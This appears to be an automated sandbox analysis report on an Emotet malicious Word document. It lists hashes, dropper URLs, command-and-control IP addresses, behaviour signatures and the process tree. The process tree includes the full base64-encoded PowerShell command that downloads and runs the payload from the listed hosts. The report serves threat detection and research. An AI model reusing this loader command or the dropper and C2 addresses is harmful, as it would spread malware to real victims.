Analysis

  • max time kernel
    64s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12/08/2020, 22:52

General

  • Target
    emotet_e2_d0ecee1cad0e97af4b127dc23861ffbee329ef4a465840447b48e554801e6081_2020-08-12__224946._doc.doc
  • Size 226KB
  • Sample200812-ag3n3cscvx
  • SHA256 d0ecee1cad0e97af4b127dc23861ffbee329ef4a465840447b48e554801e6081
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://cnoenc.com/backup/98r_1_5bm32i/

  • exe.dropper

    http://nickkind.com/framelines/vp_1pw_sn6d49as/

  • exe.dropper

    http://phrachudadhuj.com/css/l_5uu9_b/

  • exe.dropper

    http://multiesfera.com/clientes/nn_hf1_zw8g7/

  • exe.dropper

    http://nikolovmedia.com/wp-admin/98_1_d3xmqp8/

Extracted

Family
  • emotet

C2
  • 174.102.48.180:80

  • 192.210.135.126:8080

  • 67.205.85.243:8080

  • 47.146.32.175:80

  • 116.203.32.252:8080

  • 189.212.199.126:443

  • 72.12.127.184:443

  • 180.92.239.110:8080

  • 103.86.49.11:8080

  • 181.230.116.163:80

  • 157.147.76.151:80

  • 74.120.55.163:80

  • 121.124.124.40:7080

  • 79.98.24.39:8080

  • 142.105.151.124:443

  • 167.86.90.214:8080

  • 24.179.13.119:80

  • 62.138.26.28:8080

  • 165.165.171.160:8080

  • 74.208.45.104:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d0ecee1cad0e97af4b127dc23861ffbee329ef4a465840447b48e554801e6081_2020-08-12__224946._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1124
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABQAFAAUgBCAEMAcwBrAHQAPQAnAEgAWQBJAEgARgBqAGMAcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAGAASQBUAHkAYABwAFIAbwBUAG8AYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAE8AVQBVAFgAdwBmAG0AIAA9ACAAJwA3ADIAOAAnADsAJABUAFAAQgBEAEoAcQBnAHEAPQAnAE4ATwBGAFoAQwBzAHAAdAAnADsAJABPAE8AUwBSAFoAawBxAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUATwBVAFUAWAB3AGYAbQArACcALgBlAHgAZQAnADsAJABOAE0AQQBHAEYAbgBpAGEAPQAnAE4ASgBLAFIARgBkAGQAdAAnADsAJABFAFgARQBLAFMAYwBnAGgAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAGIAYwBMAEkARQBuAFQAOwAkAEsATwBMAFUASgBoAGIAZgA9ACcAaAB0AHQAcAA6AC8ALwBjAG4AbwBlAG4AYwAuAGMAbwBtAC8AYgBhAGMAawB1AHAALwA5ADgAcgBfADEAXwA1AGIAbQAzADIAaQAvACoAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGsAaQBuAGQALgBjAG8AbQAvAGYAcgBhAG0AZQBsAGkAbgBlAHMALwB2AHAAXwAxAHAAdwBfAHMAbgA2AGQANAA5AGEAcwAvACoAaAB0AHQAcAA6AC8ALwBwAGgAcgBhAGMAaAB1AGQAYQBkAGgAdQBqAC4AYwBvAG0ALwBjAHMAcwAvAGwAXwA1AHUAdQA5AF8AYgAvACoAaAB0AHQAcAA6AC8ALwBtAHUAbAB0AGkAZQBzAGYAZQByAGEALgBjAG8AbQAvAGMAbABpAGUAbgB0AGUAcwAvAG4AbgBfAGgAZgAxAF8AegB3ADgAZwA3AC8AKgBoAHQAdABwADoALwAvAG4AaQBrAG8AbABvAHYAbQBlAGQAaQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA5ADgAXwAxAF8AZAAzAHgAbQBxAHAAOAAvACcALgAiAFMAcABgAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATgBMAEkASwBWAGIAeABmAD0AJwBCAFoARgBQAFEAcAB1AGUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEgATQBCAEYAUAB4AGYAagAgAGkAbgAgACQASwBPAEwAVQBKAGgAYgBmACkAewB0AHIAeQB7ACQARQBYAEUASwBTAGMAZwBoAC4AIgBkAG8AVwBOAGwAbwBBAGAAZABgAEYAYABpAEwAZQAiACgAJABIAE0AQgBGAFAAeABmAGoALAAgACQATwBPAFMAUgBaAGsAcQB6ACkAOwAkAEIATgBKAE8AVgBpAGkAdAA9ACcAQwBXAEkAQwBXAGoAYgBiACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATwBPAFMAUgBaAGsAcQB6ACkALgAiAEwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgA2ADMAMQAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBhAGAAVABlACIAKAAkAE8ATwBTAFIAWgBrAHEAegApADsAJABDAFIAWgBJAFoAZgBnAGIAPQAnAFkAUwBWAFgAQgB3AGMAZwAnADsAYgByAGUAYQBrADsAJABaAFEAWgBDAEIAdQB2AGoAPQAnAFoARABXAE4ATwBoAHUAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAEUASgBJAE8AaABmAHYAPQAnAEcAWQBIAEYAVQBkAHUAYwAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1112
  • C:\Users\Admin\728.exe
    C:\Users\Admin\728.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1556
    • C:\Windows\SysWOW64\api-ms-win-core-xstate-l2-1-0\MediaMetadataHandler.exe
      "C:\Windows\SysWOW64\api-ms-win-core-xstate-l2-1-0\MediaMetadataHandler.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1928

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1112-41-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

        memory/1112-14-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

        memory/1112-42-0x000000001C4F0000-0x000000001C4F1000-memory.dmp

        memory/1112-32-0x00000000022B0000-0x00000000022B1000-memory.dmp

        memory/1112-19-0x00000000024F0000-0x00000000024F1000-memory.dmp

        memory/1112-15-0x000000001AD40000-0x000000001AD41000-memory.dmp

        memory/1112-9-0x000007FEE9BF0000-0x000007FEEA5DC000-memory.dmp

        memory/1124-16-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-33-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-30-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-17-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-18-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-10-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-20-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-22-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-24-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-6-0x000000000BC50000-0x000000000BC54000-memory.dmp

        memory/1124-28-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-26-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-8-0x0000000007220000-0x0000000007420000-memory.dmp

        memory/1124-12-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-35-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-37-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-39-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1124-2-0x0000000008BD0000-0x0000000008BD4000-memory.dmp

        memory/1124-7-0x0000000007220000-0x0000000007420000-memory.dmp

        memory/1124-5-0x000000000ABD0000-0x000000000ABD4000-memory.dmp

        memory/1124-3-0x0000000007220000-0x0000000007420000-memory.dmp

        memory/1124-4-0x0000000007220000-0x0000000007420000-memory.dmp

        memory/1556-44-0x00000000003A0000-0x00000000003AC000-memory.dmp

        memory/1928-48-0x00000000003D0000-0x00000000003DC000-memory.dmp

        memory/2008-49-0x000007FEEEF00000-0x000007FEEF17A000-memory.dmp